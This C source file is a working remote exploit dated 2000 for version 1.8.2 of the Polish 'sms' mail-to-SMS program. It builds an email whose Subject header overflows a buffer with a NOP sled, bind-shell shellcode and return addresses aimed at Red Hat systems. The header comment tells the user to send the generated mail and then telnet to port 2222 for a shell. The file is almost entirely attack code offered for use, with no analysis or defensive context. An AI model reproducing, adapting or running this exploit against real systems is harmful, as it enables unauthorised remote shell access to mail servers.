/*
 * sms, wersja: 1.8.2,
 * Wysylanie wiadomosci na telefony sieci Era, Plus GSM i Idea Centertel.
 *
 * *REMOTE EXPLOIT*
 *
 * (c) 2000 babcia padlina / buffer0verfl0w security (b0f.freebsd.lublin.pl)
 *
 * Send mail generated by program. After successfull exploiting, telnet
 * to port 2222.
 *
 * Sometimes adjusting parameter BUFSIZE may be useful. It depends on
 * procmail script configuration.
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP             0x90
#define OFS             0
#define BUFSIZE         914
#define ADDRS           8
#define RET             0xbffff970 /* most redhat boxes */

char shell[] = /* duke bind shellcode */
"\xeb\x10\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xc3\x31\xc0\xb0\x01\xcd"
"\x80\xc3\xe8\xeb\xff\xff\xff\xb0\x06\xcd\x80\xb0\x06\xfe\xc3\xcd"
"\x80\xb0\x06\xfe\xc3\xcd\x80\xb0\x02\xcd\x80\x39\xc1\x75\xdc\xe8"
"\xce\xff\xff\xff\xb0\x02\xb1\x01\xb2\x06\x52\x51\x50\xb3\x01\xb0"
"\x66\x89\xe1\xcd\x80\x89\xc6\xe8\xb6\xff\xff\xff\x83\xc4\x12\x50"
"\xb9\x02\xff\x08\xae\x30\xed\x51\x89\xe2\x83\xec\x06\xb0\x10\x50"
"\xb3\x02\x52\x56\xb0\x66\x89\xe1\xcd\x80\xb0\x10\x50\x56\xb0\x66"
"\xb3\x04\x89\xe1\xcd\x80\xe8\x87\xff\xff\xff\x50\x50\x56\xb0\x66"
"\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x88\xc3\xb0\x29\xcd\x80\xb0\x3f"
"\xcd\x80\xeb\x16\x5e\x88\x4e\x07\x89\x76\x08\x89\x4e\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe5\xff\xff\xff"
"/bin/sh";

int main(argc, argv)
int argc;
char **argv;
{
        char *buf, *p;
        int noplen, i, ofs;
        long ret, *ap;

        if(!(buf = (char *)malloc(BUFSIZE+ADDRS+10)))
        {
                perror("malloc()");
                return -1;
        }

        if (argc > 1)
                ofs = atoi(argv[1]);
        else
                ofs = OFS;

        ret = RET + ofs;

        noplen = BUFSIZE - strlen(shell);

        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, shell);

        p = buf + noplen + strlen(shell);
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

        fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

        printf("Return-Path: @\n");
        printf("Subject: %s\n\n", buf);

        return 0;
}